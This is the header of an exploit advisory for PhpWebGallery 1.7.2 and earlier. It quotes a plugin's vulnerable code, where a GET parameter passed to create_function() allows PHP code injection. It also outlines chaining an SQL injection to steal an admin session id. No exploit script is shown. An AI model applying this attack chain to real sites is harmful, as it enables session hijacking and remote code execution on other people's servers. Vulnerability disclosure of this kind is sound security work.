PhpWebGallery <= 1.7.2 Remote Session Hijacking / Code Execution Exploit
------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.phpwebgallery.net/
details..: works with at least two rows in _comments table

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /plugins/event_tracer/event_list.php

60. $sort= isset($_GET['sort']) ? $_GET['sort'] : 1;
61. usort(
62. $events,
63. create_function( '$a,$b', 'return $a['.$sort.']>$b['.$sort.'];' )
64. );

An attacker could be able to inject and execute PHP code through
$_GET['sort'], that is passed
to create_function() at line 63 (see
http://www.securityfocus.com/bid/31398). Only admin can
access to the plugins management interface, but the attacker might be able
to retrieve a valid
admin session id using the SQL injection bug in comments.php (see lines
325-340)
